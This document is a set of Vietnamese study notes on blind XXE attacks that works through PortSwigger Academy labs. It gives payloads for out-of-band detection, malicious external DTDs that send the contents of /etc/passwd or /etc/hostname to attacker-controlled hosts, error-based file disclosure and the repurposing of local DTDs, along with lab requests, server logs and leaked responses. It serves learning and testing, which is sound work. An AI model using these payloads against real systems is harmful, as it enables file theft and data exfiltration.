Blind XXE

Blind XXE: không thấy output trực tiếp trong response.

Detecting Blind XXE Using Out-of-band (OAST) Techniques

Chúng ta thường có thể phát hiện blind XXE bằng kỹ thuật tương tự XXE → SSRF nhưng kích hoạt tương tác mạng out-of-band đến hệ thống do chúng ta kiểm soát. Ví dụ, định nghĩa external entity như sau:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Đôi khi, XXE dùng entity thông thường bị chặn do validation đầu vào hoặc hardening của XML parser. Khi đó, chúng ta có thể dùng XML parameter entity thay thế.

XML parameter entity là loại entity đặc biệt chỉ được tham chiếu trong DTD. Khai báo parameter entity có ký tự percent trước tên:

<!ENTITY % myparameterentity "my parameter entity value" >

Tham chiếu parameter entity dùng ký tự percent thay vì ampersand:

%myparameterentity;

Điều này nghĩa là chúng ta có thể test blind XXE dùng out-of-band detection qua XML parameter entity như sau:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Lab: Blind XXE with Out-of-band Interaction

Request gốc:

POST /product/stock HTTP/2
Host: 0a2f0020041d941a80812627001000f2.web-security-academy.net
Cookie: session=HksoBgqFssma4UncNmIgCNdegJuif0Wc
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a2f0020041d941a80812627001000f2.web-security-academy.net
Referer: https://0a2f0020041d941a80812627001000f2.web-security-academy.net/product?productId=1
 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://ymooo3bu5lounahxhp3jhq3lgcm3atyi.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab: Blind XXE with Out-of-band Interaction via XML Parameter Entities

Request gốc:

POST /product/stock HTTP/2
Host: 0aee00ed043bd39a8022eefc00a50021.web-security-academy.net
Cookie: session=GJeYe8KrrY30G3zMsjJKBITpjboqZUbU
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0aee00ed043bd39a8022eefc00a50021.web-security-academy.net
Referer: https://0aee00ed043bd39a8022eefc00a50021.web-security-academy.net/product?productId=1
 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://fp85rkeb82rbqrkek660k762jtpkdb10.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Exploiting Blind XXE to Exfiltrate Data Out-of-band

Ví dụ DTD độc hại để exfiltrate nội dung file /etc/passwd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

DTD này thực hiện các bước sau:

  • Định nghĩa XML parameter entity gọi là file, chứa nội dung của file /etc/passwd.
  • Định nghĩa XML parameter entity gọi là eval, chứa declaration dynamic của XML parameter entity khác gọi là exfiltrate. Entity exfiltrate sẽ được evaluate bằng cách thực hiện request HTTP đến web server của kẻ tấn công chứa giá trị của entity file trong query string URL.
  • Sử dụng entity eval, gây declaration dynamic của entity exfiltrate được thực hiện.
  • Sử dụng entity exfiltrate, để giá trị của nó được evaluate bằng cách request URL được chỉ định.

Kẻ tấn công có thể serve DTD độc hại tại URL sau:

http://web-attacker.com/malicious.dtd

Cuối cùng, submit payload XXE sau đến ứng dụng dễ bị tấn công:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

Note

Kỹ thuật này có thể không hoạt động với một số nội dung file, bao gồm ký tự newline chứa trong file /etc/passwd. Điều này vì một số XML parser fetch URL trong definition external entity sử dụng API validate ký tự được phép xuất hiện trong URL. Trong tình huống này, có thể sử dụng protocol FTP thay vì HTTP. Đôi khi, sẽ không thể exfiltrate data chứa ký tự newline, và vậy file như /etc/hostname có thể bị target thay thế.

Lab: Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD

DTD độc hại:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM ' https://exploit-0a9c0009048c439880c8d97e01bd004c.exploit-server.net/?x=%file;'>">
%eval;
%exfiltrate;

Nhớ thay đổi tên file trong exploit server thành malicious.dtd.

Payload inject vào request:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a9c0009048c439880c8d97e01bd004c.exploit-server.net/malicious.dtd"> %xxe;]>

Log trên exploit server:

10.0.4.67       2024-08-31 11:01:28 +0000 "GET /malicious.dtd HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.4.67       2024-08-31 11:01:28 +0000 "GET /?x=754ef8d2e9cc HTTP/1.1" 200 "User-Agent: Java/21.0.1"

Exploiting Blind XXE to Retrieve Data via Error Messages

Một cách khác để khai thác blind XXE là kích hoạt lỗi XML parsing để message lỗi chứa dữ liệu nhạy cảm. Cách này hiệu quả nếu ứng dụng trả về message lỗi trong response.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Lab: Exploiting Blind XXE to Retrieve Data via Error Messages

DTD độc hại:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aba00370408435780c8e89e01260052.exploit-server.net/exploit"> %xxe;]>

Response có nội dung của /etc/passwd như mong đợi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419
 
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Exploiting Blind XXE by Repurposing a Local DTD

Theo đặc tả XML, kỹ thuật sử dụng XML parameter entity trong definition của parameter entity khác (dùng %eval;, %error;) chỉ được phép trong external DTD; internal DTD thường không cho phép.

Nếu out-of-band bị chặn, chúng ta không thể exfiltrate dữ liệu OAST và cũng không load được external DTD từ server remote.

Nếu tài liệu dùng cả internal và external DTD, internal DTD có thể override entity trong external. Tấn công hoạt động bằng cách tham chiếu DTD localredefine entity để gây lỗi parsing làm lộ dữ liệu.

Ví dụ, giả sử có file DTD trên filesystem server tại vị trí /usr/local/app/schema.dtd, và file DTD này định nghĩa entity gọi là custom_entity. Kẻ tấn công có thể kích hoạt message lỗi XML parsing chứa nội dung của file /etc/passwd bằng cách submit hybrid DTD như sau:

<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
	<!ENTITY % custom_entity '
		<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
		&#x25;eval;
		&#x25;error;
	'>
	%local_dtd;
]>

Locating an Existing DTD File to Repurpose

Vì ứng dụng trả về message lỗi của XML parser, chúng ta có thể enumerate DTD local bằng cách thử load từ internal DTD.

Ví dụ, hệ thống Linux dùng GNOME thường có file DTD tại /usr/share/yelp/dtd/docbookx.dtd. Chúng ta có thể test file tồn tại bằng payload XXE sau (sẽ lỗi nếu thiếu):

<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
	%local_dtd;
]>

Sau khi chúng ta test list common DTD file để locate file có mặt, chúng ta sau đó cần obtain copy của file và review để tìm entity có thể redefine.

Lab: Exploiting XXE to Retrieve Data by Repurposing a Local DTD

File file:///usr/share/yelp/dtd/docbookx.dtd tồn tại. File này có entity tên ISOamso như hint đề cập.

Payload:

<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % ISOamso '
		<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
		&#x25;eval;
		&#x25;error;
	'>
	%local_dtd;
]>

Response có nội dung của /etc/passwd như mong đợi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419
 
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Resources